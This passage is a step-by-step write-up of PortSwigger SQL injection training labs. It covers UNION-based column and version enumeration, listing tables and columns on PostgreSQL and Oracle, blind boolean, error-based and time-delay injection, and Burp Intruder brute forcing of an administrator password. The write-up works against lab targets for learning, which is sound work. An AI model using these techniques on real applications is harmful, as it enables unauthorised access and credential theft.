With this knowledge in hand, we can enumerate what columns allow the input of string data. We can start by using the UNION SELECT operator and setting the first column to 'a' and the second column to NULL:

Once we send this, the following response gets returned to us:

This tells us that the first column does not accept string input. Moving on to the second column, we can set the first column to NULL and the second column to 'a' to test this:

Once configured, we can send this and observe the response we get:

Here, the page returns as normal, telling us that the second column does accept string data - this is good since we are looking to return the username and password as indicated in the description of this lab:

However, you may have noticed a problem - there are only 2 columns and only 1 of these columns allows string data, yet we want to return two columns that both include string data. How do we do that? First, let's test if this will work or not by using the UNION SELECT command to try and grab the username and password from the users table using the following query:

If we send this query, we get the following response:

This is expected as we are trying to return two string data columns into two columns, where only one allows string data, therefore the web app returns the internal server error message as it has no idea how to manage this.

However, we can try and extract each field separately instead. Let's try and first extract the usernames by setting the first column to NULL and the second column to the username field and tell it to grab these from the users table:

Once we configure this payload, we can send it over and view the following response:

As we can see, this payload succeeds and the database succesfully returns the usernames alongside the products on the web page for us. Now, we have a list of 3 usernames - carlos, administrator and wiener.

Now that we have these usernames, we can try and grab the passwords by simply substituting the username field for the password field in the payload:

Once configured as before, we can simply send this query along to the database and view the response:

Again, we can see that the value gets returned alongside the existing products on the web page - we now have a list of both usernames and passwords but we don't actually know what password belongs to which user.

Since this is a small users table with only 3 usernames, you could simply guess by hand and complete the lab, but that's no fun right? Additionally, what if this was a real pentest and the users table had hundreds or thousands of results. Would you want to go through by hand? Definitely not!

In order to make this lab easier, we can first determine what kind of database we are dealing with. To do this, we can try and enumerate the database version from 4 of the most popular databases - Oracle, Microsoft, PostgreSQL, and MySQL. PortSwigger provides us a cheat sheet containing the commands needed to query the database version for each of these:

For starters, we can use the Microsoft/MySQL syntax to try and query the database version by using the UNION SELECT command alongside the @@version syntax injected into the second column:

Then, we can send it forward and observe its response:

However, we get an internal server error - this is ok as it may not be the correct database version we are targeting. Instead of panicking that it did not work, we can move on and try a different version enumeration payload such as the PostgreSQL syntax - version():

Once we send it, we can see the following response:

As we can see, the page returns and contains the PostgreSQL version being used on the page alongside the product titles. This confirms to us that the database in use is PostgreSQL and we can move forward with our attack.

From here, since we only have one column that allows string data but we are looking to extract 2 columns of string data, concatenation is our friend. Once again, PortSwigger comes to the rescue and provides us with some simple string concatenation syntax for every database version:

Since we know that this web app is running a PostgreSQL database, we are interested in the PostgreSQL syntax. For this, we use the double pipe syntax (||) to concatenate two strings together. Using this, we can modify our payload to be the following so that the username and password columns will be concatenated together:

Once we send this, we get the following response:

This is better! Now, we can see the usernames and the passwords are directly connected. Now, we can see what password belongs to what user, but we can get even better and clean this up even more.

Right now, whilst it is usable, it can be a bit hard to distinguish where the username ends and the password begins. However, using the same concatenation method, we can split them apart by adding a simple character between the username and password such as an asterisk (*) in the following payload:

Once again, we can observe the following output:

Much better! We can now determine that everything to the left hand side of the asterisk is the username and everything to the right hand side of the asterisk is the password. Additionally, it is possible to use other symbols such as the pipe symbol:

The possibilities are limitless (maybe). Once we have these extracted credentials, we can simply use them to login as the administrator user and complete this lab:

Lab 7 - SQLi Attack - Query Database Type and Version on Oracle

Once we spin up and access the lab, we see the following home page:

As before, if we sort by a category, we can see that the category appears in the URL under the name "category" as well as being returned in the page itself:

This should start sounding familiar. As many labs before this one, we can start fuzzing the parameter and breaking stuff in the backend. First, we can try injecting a single quote:

And let's observe the response that we get in the browser:

As expected, we get an internal server error as we have broken the back end query being executed by the database. Next, we can try and stop the error whilst keeping the single quote by trying to comment out the rest of the query using the double dash syntax (--):

Once we send this, we can observe the response we received below:

As expected as well, we can see that we have successfully commented out the rest of query, stopping execution and allowing the app to run normally without error. From here, we can try and enumerate the number of columns in use as before. Here, we start by trying to tell it to order by the first column:

Then, we send it and observe the response:

As we can see, it returns without errors and appears to have sorted by the bold title section of the page (Babbage, Fur, More....). Knowing this, we can increment this value up by 1 to try and order by the second column instead:

Then, we send it again and observe the server's response:

Once again, it returns without error. This time, it appears it has been ordered alphabetically by the post itself as each word is in alphabetical order (Fur, Give, There....). Again, this confirms that the database has at least two columns, so let's increment again up to the 3rd column:

Once we send it, we can observe the response:

However, this time, it breaks the application and we get an internal server error returned to us. This tells us that the database only has 2 columns as when it tries to order by the 3rd column, it breaks the back end query.

From here, we can then enumerate which columns allow string data. First, we can test the first column by using the following payload:

Then, we send it forward and view the response:

Here, we see that the server responds with an error, telling us that the first column does not accept string data - this is kind of weird as we can see 2 columns on the page itself (title and description) which appear to be string values.

Next, we can try and see if the second column is any different by changing our payload to test the second column instead:

Then, we send it and watch what happens:

Again, we get an internal server error when we expect at least one of these columns to allow string data. What is going on? Well, it's important to note that there are different database versions. In particular, on Oracle databases, every SELECT statement must specify a table to select FROM.

If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name. There is a built-in table on Oracle called dual which you can use for this purpose.

In this case, we can try and append the FROM statement to select from this dummy dual table and see if that does anything:

Once again, we send it on and view the response:

This time, it works. So, now we can confirm that this is an Oracle database since we need to include a FROM clause with our UNION SELECT statement. Additionally, we can see that the query worked and the value 'a' got appended to the first column, telling us that it accepts string data.

Next, we do the same and test the second column:

Once again, let's view the response from the above query:

Again, it works. This time, the 'a' character got injected into the second column successfully. This tells us that there are 2 columns on this database and each column allows string data to be returned.

As the description said, the end goal of this lab is to display the database version. PortSwigger's got our back again and provides a cheat sheet to query the database version:

Now, since we know that this is an Oracle database from before by using the dummy dual table, we can skip enumerating each version and just use the Oracle syntax to try and return the version being used. Here, there are two statements that we can use.

First, we can try the v$version syntax and see if that works. To use this, we simply use the UNION SELECT payload from v$version whilst also adding that second NULL column:

Then, let's view the response below:

Immediately, we can see that various new lines appear in our output that appear to tell us that version of Oracle is running on the backend. Our query completed successfully. As a side note, you could have also injected this into the second column since that was also available for string data:

Then, once we navigate back to the home page of the lab, we get the banner telling us we successfully completed the lab:

Lab 8 - SQLi Attack - Query Database Type and and Version on MySQL

As always, we start the lab and access it to be greeted by the familiar we like to shop homepage:

Once again, we have the option to filter the posts by a certain category:

As before, we can see that the filtered category is sent via a parameter in the URL named "category" as well as displayed on the page itself. Like clockwork, with this parameter identified, we fuzz it by first sending a single quote and seeing if that breaks anything:

Then, we send it and watch what happens in the response:

It returns an internal server error as expected as we have broken the back end database query by injecting our single quote. Next, we can try injecting a comment after a single quote to stop the rest of the query from being executed (hopefully):

As always, let's send it and observe the response:

We can see that we still receive an internal server error which is odd. It's worked everytime before, so why not now? It's important to understand that the double dash syntax is not the only way to introduce a comment and there are other characters that perform the same function - for example the hash (#).

Let's try a hash character instead of the double dash:

Once sent, let's observe the response:

As we can see, it worked and we see the web page as normal. Going forward for this lab, instead of the double dash for commenting, we have to use the hash character. Again, like we've done many times before, the next step after we have confirmed the parameter is vulnerable is to figure out how many columns there are by using the ORDER BY clause.

First, we try and order by the 1st column with the encoded hash character following it (%23):

Let's observe the response:

As we can see, it works successfully the the page has ordered the results by what looks to be the title as it goes in alphabetical order (Babbage, Fur, Giant....). Now that we've confirmed this works, we can increment up to the second column:

And again observe the response:

Once again, we see that no error appears. However, this time it appears to be ordered by the paragraph under the heading as the first word of each is in alphabetical order (Fur, If, There, etc...). Again, since this has not produced an error, we can increment again up to the 3rd column:

And again, we can observe the response below:

This time, instead of getting the normal page, we get an internal server error and we appear to have broken it. With this error, it tells us that when trying to order by the 3rd column, an error occurred. This is good as it tells us that there is likely not a 3rd column to order by, hence we can confirm that the database has 2 columns.

From here, we can find out which columns allow string data by using the UNION operator. First, we test the first column by providing the 'a' character for the first column:

And we can observe what happens below:

Here, we can see that it gets returned without error and appears at the bottom of the page as part of the first column, indicating to us that the first column accepts string data. Next, we can test the second column:

Once we send it, we can observe the response:

As with the first column test, we can see that it gets returned without error and appears at the bottom of the page as part of the second column, indicating to us that the second column accepts string data.

Knowing that both columns accept string, we can move forward with the attack. For this lab, our end goal is to print the database version and we know that the database being run in MySQL thanks to the lab name. With this, we can use the PortSwigger SQL injection cheat sheet to see the syntax to find the database version for MySQL:

As we can see for Microsoft and MySQL the syntax would "SELECT @@version". With this knowledge, we can now replace our UNION SELECT statement before with the following to extract the database version:

Finally, we can observe the response:

As we can see, at the very bottom of the page there is additional section that tells us what version of MySQL/Microsoft is being run on the backend. In this case, it is running 8.0.32-0ubuntu0.20.04.2. From here, if we reload the lab, we can see that we have completed the lab successfully:

Lab 9 - SQLi Attack - Listing Database Contents on Non-Oracle Databases

Once we start the lab, we navigate to the home page and see the all too familiar we like to shop page with various blog posts plastered around the page:

As normal, we also have the option to filter by certain categories. If we do that, we can see that in the URL it adds a parameter called category that speicifes the category to filter by:

As with previous labs, our first order of business is to try and inject a single quote into the parameter to break it:

Once we send this over to the server, we can see what the response looks like in the image below:

As we can see, it produces an internal server error telling us that the single quote we injected into the query broke something in the back end. To try and fix it, we can try and comment out the rest of the query by injecting a double dash (--):

Once we send this over, we can view the response below as normal:

As we can see, this fixes the query and allows it to operate normally as the rest of the query in the backend has been commented out. Now that we know the parameter is vulnerable, we can determine how many columns the table has by using one of two methods.

For this lab, I will use the UNION SELECT method by first adding only 1 NULL column:

Then, we send it and view the response:

As we can see, using the UNION SELECT payload with only one null column produces an error. This is expected as we saw at least 2 returned to the page during its normal function. With this in mind, we can increment up to 2 NULL columns:

Then, we send it forward once again:

This time, the page returns as normal telling us that the table has 2 columns since the UNION operator must contain the same number of columns. To confirm this theory, we can try it with 3 NULL columns and view the response:

Then, we send this payload over:

As expected, we can see that 3 NULL columns sent via the UNION operator returns an internal server error due to there being a mismatch in the number of columns.

Now that we know how many columns there are (2), we can determine what, if any columns can allow string data by using the UNION SELECT payload again but replacing one of the NULL columns with random string data such as 'a':

Then, we observe the response as normal:

Here, we can see that the first column which is likely the title has an extra entry containing the string we provided - a. This tells us that the first column accepts string data. With this knowledge, we can then try the second column:

Once again, we can observe the response below:

As before, we can see that the second column which is likely the paragraph/blog post itself contains an additional entry at the bottom of the page for the string data we submitted, telling us that the column accepts string data.

Now we know that both the columns accept string data and we can use this to our advantage. Our next step is to identify what type of database we are dealing with before we start firing attacks at it. To do this, we can use a list of certain payloads provided to us by PortSwigger:

First, we can try executing the Microsoft/MySQL payload to enumerate the database version (SELECT @@version):

And we send it to observe the response:

This time, we get an internal server error as it is likely that the backend database does not know what to do with the query provided as it is likely not a MySQL or Microsoft database. Next, we can try using another payload such as the PostgreSQL syntax:

Then, we send it on and observe what happens:

Perfect! As we can see above, the version gets returned in the second column at the bottom of the page, clearly telling us that the database version running in the background is PostgreSQL 12.13 alongside some additional, useful information.

From here, we want to grab database contents to meet our end goal of grabbing the username and password of the users. To do this, we can check the PortSwigger SQL cheat sheet and see that it provides the PostgreSQL syntax for listing the tables that exist in the database, and the columns that those tables contain:

We can see above that we want to query the information_schema.tables, but we don't want to execute the command above and return everything. It's a good idea to narrow down our query to certain columns. Navigating to the PostgreSQL documentation for the information schema, we can see a list:

We are interested in enumerating the columns. If we go into the columns section, we can see something called "table_name" that will return the name of the table for us. This is the one we want as we don't know what the name of the table containing the users actually is:

With this table_name in hand, we can now craft a payload to extract the table names from the information schema like the following:

Then, we send it forward and observe:

As we can see above, all of the table names inside the information schema for PostgreSQL are returned. This is a massive list and most of these table names are default values that are of no interest to us as of now. However, if we keep scrolling down, a table name stands out to us - users_bulwpe:

Now that we've enumerate the table name, we want to find the column name. If we go back to the documentation, we can see an entry that will return the name of the columns to us - column_name:

With this, we can modify our payload to select all the column names from the information schema where the table name is equal to the users table we just found:

Then, we can send it on and hope for the best:

Perfect! It returns two columns that are of interest to us - password_ripvue and username_osvuwl. These likely contain credentials for the users of this web application. Now that we know the table name and the two column names, we can try and extract them using the following query:

Again, we send it and wait patiently:

As we can see, the username gets returned in the first column and the password gets returned in the second column. With this, we can now log in to the application as the administrator user and complete the lab:

Lab 10 - SQLi Attack - Listing Database Contents on Oracle

As always, we start the lab and access the application:

Once again, we see the blog type of website allowing us to filter by certain categories. If we filter by the category Pets, we can see it appears in the URL as well as on the page itself:

What happens if we inject a single quote? Let's inject one and find out:

Once injected, let's send it on and observe the response below:

As expected, we get an internal server error returned as the single quote we injected likely broke the backend database query. Now, we want to see if we can stop the rest of the query by commenting it out using the double dash sequence (--):

Then, we send it and see what happens:

As we can see, the single quote followed by a comment string allows the web app to return the normal data as the rest of the query has now been commented out, fixing the error that was happening with the single quote.

The next step is to determine how many columns there are by using one of two methods. As we have done this before, I will use the ORDER BY method to enumerate the columns. First, we try ordering by the first column using the following:

Then, we send it:

As we can see, no error appears as there is a first column that the web app can be ordered by. In this case, it looks like it is ordering by the title as they are in alphabetical order. With no error occurred, we can increment the value by 1 and try ordering by the second column using the following:

Again, let's send it:

As with the first column, no error occurs telling us that the web app has at least 2 columns. IF we look closer, it appears that the second column is the paragraph underneath the heading as it is sorted in alphabetical order by the first word (Give, If, The).

As we have still not received an error, we increment by 1 again up to the 3rd column using the following:

As always, let's send it and view what happens:

This time when we order by the 3rd column, we get an internal server error response telling us that it had a problem ordering by the 3rd column - likely because the 3rd column doesn't exist.

With this knowledge in hand that the web app has 2 columns, we can start targeting each of these columns and see if any of them allow returning string data. To test this, we can use the following payload (used many times above):

Let's send it and view the response:

When we send this first payload, we get an error. This is strange because viewing the web app normally, it seems that the two columns we found were string data on the page (title, description). Something must be going wrong on our end.

Looking to a few labs above or on various cheat sheets, if we are dealing with an Oracle database, we MUST specify a FROM clause when using the UNION SELECT method. Therefore, we can try simply telling it to select from the dummy "dual" table and see what happens:

Once we send it, we get the following back:

This time it works and we get our string character 'a' returned in the first column at the bottom of the page - we now know the first column accepts string data. Next, let's test the second column using the following:

And we send it forward:

As with the first column, it works and we get our string character 'a' returned in the second column at the bottom of the page - we now know the second column accepts string data. This tells us that the first 2 columns (and the only 2 columns) both accept string data.

Our next step is to enumerate what type of database version is running. I'll leave this step up to you. This is an optional step for this lab as the title of the lab indicates we are dealing with an Oracle database. However, in a real-world scenario, you would use some of the payloads below to identify the database running:

Now that we know Oracle is running, we can check the cheat sheet and see how we can retrieve database contents using its syntax thanks to PortSwigger:

As we can see above, there seems to be a table called all_tables that likely includes all tables. However, we don't want to return everything in this table as it would be hard to find useful information. If we take a look at the documentation for the all_tables tables, we can see various columns that might be interesting.

For us, we are interested in enumerating the table names so we can use the table_name column:

With this, we can craft the following payload to enumerate all the table names from the database:

Then, we send it forward:

As we can see, all of the table names get returned at the bottom of the page allowing us to look through for any interesting database names. Scrolling through to the bottom, one of them sticks out to us - USERS_MUFJGI:

This appears to be a custom table name and likely contains user data - jackpot! With this, we can navigate back to the documentation and see that there is an option to extract the column_names which is of interest to us:

With this, we can modify the previous payload to grab the column names from the users table we just found:

Then, we send it and see what happens:

As we can see at the bottom of the page, 2 column names get returned to us - one containing the username and one containing the password. Since we know that the 2 columns in the table being displayed on the page accept string data, we can simply tell it to display the username and password in these columns using the following:

This should extract the username in the first column and password in the second column if it works. Let's send it and find out:

As we can see at the bottom of the page, the username appears in bold as the first column and the password for that specific user appears directly below it. With this, we can grab the password for the administrator user and login, thereby completing the lab:

Lab 11 - Blind SQLi with Conditional Responses

As always, let's start the lab and then access it:

It appears to be a simple shop where we can view details of various products. However, if we refresh the page, we will notice in the top right that we get a Welcome back! message - strange as we are not logged in and never registered:

If we observe this request in Burp Suite, we can see that it is using a TrackingId cookie, which is likely the reason the Welcome back message appears if they notice the cookie is the same:

If we send this request to Repeater and view the response, we are able to see the string "Welcome back!" returned in the response:

Let's play around with this TrackingId and see what happens when we modify it. When we change the last few letters of it to something random that it's never seen before, what happens? Let's see!

Once we modify it and change it, let's send it through Repeater and view the response:

As we can see above, when we grep the response for that Welcome back message, we get 0 matches. This confirms our theory that the welcome back message only appears if the TrackingId matches to an entry in the backend database.

If it's querying a backend database for the same value, it may be vulnerable to SQL injection. We can test this by playing around with this TrackingId by first submitting the TrackingId with some SQL code after it - such as sQtyhdufyst' AND 1=1--.

This code injects a TRUE use case (AND 1=1). If the trackingID exists in the database, the SELECT statement is TRUE alongside 1=1 also being TRUE. The entire statement would evaluate to TRUE which would result in a trackingid being outputted which would result in the welcome back message:

However, before sending this forward, it is a good idea to URL encode it just in case the browser removes any of the characters for us. To do this in Burp Suite, we can simply highlight it and hit CTRL+U to URL encode:

Then, we can send it and view the response:

As we can see, the Welcome back! message still returns telling us that our injected query worked and the statement evaluated to True. If we can prove that we don't get a welcome back message when the case is FALSE, then we have an exploitable blind SQLi.

To test this, we can change 1=1 to 1=2. Here, we know the TrackingID will evaluate to TRUE, but 1=2 will evaluate to FALSE, meaning the entire query will return FALSE. If it returns FALSE, no welcome back message should appear:

Once again, we send it after URL encoding and view the response:

This time, we get no match and no welcome back message appears. We've proved that the web app responds differently on whether we are asking it a true vs false questions. The next step we can do is ask the application if the users table exists. To do this, we can use the following payload:

The payload above says that if there is a users table, output the value X for each entry in the users table. If the users table has 5 entries, 5 rows should have x in them. However, it might destroy the query which is why the LIMIT operator was used to limit it to one entry.

Next, it checks if that entry is equal to X. If it is, it evaluates to TRUE. If not, it evaluates to FALSE. If the users table doesn't exist, it will evaluate to FALSE. If the user table does exist, it will output X for the first entry, evaluate to TRUE and the welcome back message will appear:

Here, we can see that the welcome back message. This means that the users table exists in the database! The next step is to confirm the username "administrator" exists in the database. To do this, we can use the same technique but instead of selecting "x" we select "administrator":

In more detail, it selects the username from the users table where the username is equal to "administrator". This will output the text "administrator" if the user actually exists. Then, it checks if "administrator" is equal to "administrator". If it is, it will evaluate to TRUE. If not, it will evaluate to FALSE.

If the username does not exist, it will not output "administrator" and it will not evaluate to TRUE:

Here, we can see welcome back message still appears. This tells us that the username administrator exists in the users table. As a side note, if we try doing this with an invalid username such as "doesnotexist", we can see what happens:

Then, let's send it and see what happens:

As we can see, there is no welcome back message. This tells us that the username does not exist in the table (as expected), confirming our theory and validating that the administrator user does in fact exist thanks to the appearance of the welcome back message.

The next step is to enumerate the password of the administrator user. To do this, we use the following payload:

What is this payload doing? First, it selects the username administrator from the users table and checks if the length of the password is greater than 1. It then checks if the output of that query is equal to administrator. If it is, it evaluates to TRUE and if not, it evaluates to FALSE.

If this evaluates to TRUE, the password is bigger than 1. Let's send it and see:

As we can see, the welcome message appears confirming that the password is bigger than 1. With this in hand, we can send a much large number, say 50, and see if the password is longer than 50 characters by simply modifying the number:

Once we send this, we see the following response:

As we can see, no welcome back message appeared, telling us that the password is NOT greater than 50. With this knowledge, we could manually enumerate going from 1,2,3 .... all the way up to 50 but that is tedious. A quicker way to do this is by using Intruder.

To use Intruder, we can send this LENGTH payload over and select the position we want to use as the number in the LENGTH query as seen below:

Once selected, we want to specify the Sniper attack type and then modify the payload type to Numbers. Underneath, we want to set it to start from number 1 up to number 50 using a step of 1. This will make the payload go in sequential order like 1,2,3 and so on.

Once configured, we can start the attack:

As you can see above in the highlight image, we see that at payload number 20, the length increases indicating a change of some sort. If we look into the response and grep for the welcome string, it does not appear:

This tells us that the payload that was sent for this query returned FALSE. In this case, the password is NOT greater than 20 characters. However, it did evaluate to TRUE when we check if the password was greater than 19. Using logic, we can determine that the password length must be 20 characters.

The final step is to enumerate the characters of the password. To do this, we use the following payload:

What does this do? Well, the substring method takes 3 parameters. It will divide up the password (password) and start with the first character (1) and only one character at a time (1) from the users table where the username is administrator.

Essentially, it checks if the first character is 'a'. If it is, the welcome back message appears. If not, it does not appear. Let's send this and see what happens:

As we can see, no welcome back message appears telling us that the first character is not 'a'. The next step is to go through the entire character list and check if a match is found. Again, you could do this manually but it would take forever - a faster way is using Intruder.

Just like before, we send the request over and select the payload position to be the 'a' character as seen below:

Once selected, we want to use the brute forcer payload type, specifying the character set of lowercase, uppercase and numbers, and setting the min and max length to 1 since we only want to try 1 character at a time:

With this configured, we can start the attack and view the responses:

As you can see above, one request stands out because of a different length. Looking deeper into it and checking the response for the welcome string, we can see that it appears. This tells us that the first character that it tried was successful. In this case, the letter 'd' is the first character of the password.

The next step is to do this same technique for all 20 characters. Once again, we can use Intruder to speed this up by first sending the request to Intruder again, this time using a cluster bomb attack and specifying two positions - the first being the first number in the substring method (1) and the second being the character we did before:

With the first payload, we want a payload type of numbers and set it to start at 1 and end at 20 with a step of 1 so we match the 20 character password length found earlier:

Then, for the second payload set, we want to specify the brute forcer type again with the same settings as before:

As you can see, this will result in a request count of 720 so if you have the Community Edition, this will take a long time. However, let's start the attack and wait:

After a few minutes, the attack finishes. Instead of looking through the responses manually, we can use a Professional Edition feature to filter for the search term "welcome" and only return the responses that include that string:

Once done and sorted by the payload type, we can see the password starting to form:

Extracting this into a Notepad document, we get the following full string which is the administrator password:

From here, we can simply try to login as the administrator user with the extracted password and hopefully complete the lab:

Lab 12 - Blind SQLi with Conditional Errors

Once the lab boots up, we can navigate to it and start looking around:

As with the previous lab, if we refresh the home page after visiting once before, the application will set a TrackingId cookie for us which we can see in the request intercepted by Burp Suite:

The first thing we want to do is start fuzzing this parameter by first injecting a single quote into it and seeing if anything breaks or changes.:

Once injected in Repeater, we can view the response and see what happened:

As we can see, when we inject a single quote, we get a response code of 500 Internal Server Error indicating that something on the backend broke. Now, we can try and close that single quote:

Then, let's send it on and see if we still get that error:

As you can see above, we don't and we get the normal page returned back to us with a status code of 200 OK. We now have an inclination of this web app being vulnerable to SQLi. The next step is to prove that the parameter is vulnerable by injecting SQL code and seeing if it gets executed as SQL code.

For this, we can add the concatenation character (||) and use another query like the following:

As a side note before sending it, this is a well formatted SQL query and so no error should occur. Let's see what happens:

We get an Internal Server Error - this is weird because it is a well formatted query. This indicates that maybe we are dealing with an Oracle style database as that requires a FROM clause for the query to be valid. To test this, we can use the dual table:

Then, we send it on:

Bingo! This does not produce an error - this means we are indeed dealing with an Oracle database and our query is being read as SQL code. To confirm that this is vulnerable to SQL injection, we can ask is to select something from a table that does not exist:

The above query SHOULD produce an error as that table doesn't exist in the database. Let's see what happens:

As we can see, we get an error. This confirms that it is vulnerable to SQLi. The next step after confirming it is vulnerable is to confirm that the users table exists. To do this, we can use the same concatenation payload as above, changing the table name to users:

If the users table does exist, it should return a 200 OK response. If the users table does not exist, it should return an error. Let's see what happens:

As we can see, we still get a 500 Internal Server Error. This is weird as the description of this lab tells us that this table exists. What likely happened was the query was outputting an empty entry for each entry in the users table - if the users table has 5 entries, it would output it in 5 different rows which may have broken our query.

To fix this, we can ensure that it only outputs one entry by using the following:

Let's send it and hope for a 200 OK response:

And we get a 200 OK response! This is what we wanted. This tells us that the users table does indeed exist. Our next step is to confirm that the administrator user exists in the users table. To do this, you might want to try the following query:

However, this would not work as if the user administrator existed, we would get a 200 response. If the user administrator didn't exist, it would not run the SELECT portion of the statement, also not producing an error. To confirm this, let's send the query above:

As we can see, it does not generate an error. If we change the username to something random or add additional characters and send it forward, let's see what happens:

Again, we get no error and have no way of confirming whether the users exist or not. A smarter way to discover if the user exists is the following query:

This uses the CASE expression which is similiar to the if/else/then statement in programming. What does it actually do? Well, we are saying when 1=1 (TRUE), then perform the 1/0 function which is invalid and should produce an error. However, if we saw when 1=0 (FALSE), then it should not get to the 1/0 function and go straight to the ELSE statement and should output an empty string, producing no error.

First, let's try the 1=0 case:

Once we send it on, we get the following response:

As we can see above, it produces no error as it did not reach the 1/0 function and went straight to the ELSE clause. However, if we change it to 1=1, look what happens:

This time, we get an error because 1=1 evaluated to TRUE, executing the 1/0 function which returns FALSE, thereby producing the error. But how can we use this to find a valid user? In the FROM clause, instead of using DUAL, we can use the users table and the administrator user:

Ok, but why does that work? Let's talk about it. The FROM clause is evaluated first before the SELECT clause. In this case, if the username administrator exists, then it will perform the SELECT statement. If the username does not exist, the SELECT section does not get performed.

If the users table exists and contains an administrator user, then it performs the SELECT portion of the query. The first part checks of 1=1 which always evaluates to TRUE. Because of this, it will perform the TO_CHAR function which will try to divide by 0 and generate an error. If the user administrator does not exist, it won't perform that portion and won't generate an error.

First, let's try the case when 1=1 - this should produce an error:

It does as the TO_CHAR function gets executed. This means the administrator user exists. Next, let's change it to a dummy username and see what happens:

This time, we get a 200 OK response. This means that the dummy username we provided does not exist in the database, so the SELECT query did not get executed and no error was produced. Now, we have confirmed the administrator user exists so we can move on to try and output the password.

However, before doing that, we need to know the length of the password. To do this, we can use the following payload:

Here, we simply use the same payload as before but this time check if the password is bigger than 1. If it is and the user exists, the SELECT portion runs as well and produces an error - in theory. Let's test it:

It does! This tells us the user exists (administrator) and that their password has a length greater than 1. Now, we could go incrementally until we don't get an error, but let's make a big jump to a value like 50 and see if the character password is longer than 50:

Once changed, let's send it and observe the response code:

Here, the response code is 200 OK, meaning that the password is NOT greater than 50. The next step is to use Intruder to find the actual length of the password as we know it is between 1 and 50 characters long. To do this, we can send the request to Intruder and select the payload position as the number in the LENGTH clause:

Once selected, we can choose a payload type of numbers and make it range from 1 to 50, going up incrementally in steps of 1:

With this all configured, we can run the attack:

As we can see above, if it has a status code of 500, this means that it evaluated to TRUE. In this case, we are looking for where the response code changes from 500 to 200, indicating the query evaluated to FALSE:

As we can see above, when the value was 20, it changed to a 200 OK response. This tells us that the query where the password length was greater than 20 failed, meaning it is not greater than 20. However, the one below at 19, evaluated to TRUE telling us that the password was greater than 19.

In short, this tells us that the password length is 20 as it it not greater than 20 but greater than 19. Next, we can use the SUBSTR clause to evaluate the characters of the password by doing the following:

When this query is run, the first thing that is run is the FROM clause which will ask if there is an entry for the administrator user and the first character is equal to 'a'. If it is, it will run the SELECT clause which will ask if 1=1 (TRUE) and then run the TO_CHAR statement which will produce an error. Otherwise, it will output an empty string.

If the first character is 'a', we should get a 500 internal server error response. If the first character is not 'a', we should get a 200 OK response. Let's test it:

As we can see, for me, a 500 internal server error response came back. This tells us that the first character is indeed 'a' for the administrator user. Just to test this and show that it was ran successfully and didn't do something wrong, we can test with another random character such as 'h':

As we can see, with this character we get a 200 OK response, telling us that the first character is not 'h' and is indeed 'a' - we just got lucky! With this query in hand and working, we can now send it to Intruder to automate the guessing and find the first character (if you didn't get lucky like i did).

To do this, we can select the payload position as that 'a' character:

Then, we can select the payload type as brute forcer and use the default character set, while setting the min and max length to 1 to test it one at a time:

Finally, we can start the attack and look for the response with a status code of 500:

As we can see above, the first request in my case for character 'a' returned the 500 status code, telling us that 'a' is the first character of the password. Next, we can use Intruder again to brute force every character of the 20 character password and extract the full password.

To do this we can use a Cluster bomb attack and select the second number in the SUBSTR clause (1) and the character ('a') as the second payload:

Then, for the first payload set, we can select a type of numbers, setting it to iterate through 1 to 20 incrementally:

Next, for the second payload set, we can use the brute forcer type and use the default character set, while setting the min and max length to 1 to try it one at a time:

Once everything is configured, we can start the attack and wait for it to go through all 720 requests:

After a few minutes, it completes and we can use the filter settings to filter by status codes of 500 as that would indicate the character is correct:

After filtering, we can see the following and the password starting to form:

If we go through and extract each character one by one, we get the following string which is the password for the administrator user:

With this, we can attempt to login as the administrator user and successfully complete the lab:

Lab 13 - Blind SQLi with Time Delays

Once we start the lab, we can intercept a request and see that we have a TrackingId cookie as previous labs:

Now, if we check the cheat sheet provided by PortSwigger, we can see various commands that we can use to cause a time delay:

With this in hand, we can craft the following query, first testing if the database accepts MySQL syntax:

Here, we start by injecting a single quote after the tracking id cookie. Then, we use the concatenation syntax and add another query that should put the database to sleep for 10 seconds. Finally, we comment the request of the query out using the double dash syntax.

If this works, we should observe a long response time of over 10,000 milliseconds as displayed by Burp Suite. Let's test it:

Here, we can see the response comes back with 200 OK which is ok, but doesn't tell us anything. If we look at the bottom right of the response, we can actually see the time it took:

Here, we can see that it took only 65 milliseconds meaning our query did not execute since that is definitely shorter than 10 seconds. This tells us that our syntax is likely wrong and we are not dealing with a MySQL database since the query did work, but it did not go to sleep.

With this in mind, we can use different syntax such as PostgreSQL with the pg_sleep syntax:

Once again, we can send this forward and we get the 200 OK response as before. Again, the response code does not tell us anything:

However, if we look at the bottom right, we can see that this time it took over 10,000 milliseconds which is over 10 seconds. We set the database to go to sleep for 10 seconds, meaning our payload likely got executed and we have time delay based SQL injection:

With this, we complete this simple lab as we have injected a time delay into the application and we can see the congratulatory banner drop down:

Lab 14 - Blind SQLi with Time Delays and Information Retrieval

As always, we start up the lab and are greeted with the following home page:

As the same with previous labs, we are told there is a vulnerable TrackingId cookie. If we refresh the page, we can see the TrackingId cookie value being sent in the Request after the server set it for us in its response:

What's the first thing we do? Since we have encountered a time delay lab before this one, we can try the same query we did for the previous lab here using the PostgreSQL pg_sleep syntax and tell it to sleep for 10 seconds:

Once sent, let's view the response:

As you can see above, in the bottom right hand corner of the repeater tab, it tells us the response time in milliseconds. Here, it says that the time it took was over 10,000 milliseconds which is over 10 seconds. Since we told the database to sleep for 10 seconds, we can assume that this is the vulnerable parameter are looking for and that the web app is vulnerable to time-based SQLi.

From here, we can inject the following payload to confirm the users table exists in the database:

What does this payload do? When the USE case is true, we tell it to sleep 10 seconds. Otherwise, it does not sleep at all which is what -1 means. In short, since 1=1 is always true, the database should sleep for 10 seconds when we send this:

And as we can see, it does! Now, we need to confirm that a FALSE statement does not return the same result. We can do this by using the 1=0 operation which will always return FALSE. If this executes properly, there should be no time delay:

Once configured, we send it over and wait patiently:

As we can see, in the bottom right, it took 47 milliseconds. This means that the query returned FALSE and the time delay of 10 seconds did not get executed.

Now that we have a valid query that we can use to determine if our statements are true or false, we can move forward and use the following query:

Here, we confirm that the users table exists but also confirming that the administrator username exists in that table. If it sleeps for 10 seconds, it means both of these conditions are TRUE. If it doesn't sleep 10 seconds, it means they are FALSE. Let's see what happens:

We can see that it did indeed wait 10 seconds meaning that it was TRUE and we have now confirmed that the administrator user exists in the users table. From here, we can now enumerate the length of the password before we try and guess the characters.

To do this, we can use the LENGTH clause and first try by asking if the password length is greater than 1. If it is, it will wait 10 seconds. If it is not, then it will not wait 10 second:

Once configured, we can send it and see what happens:

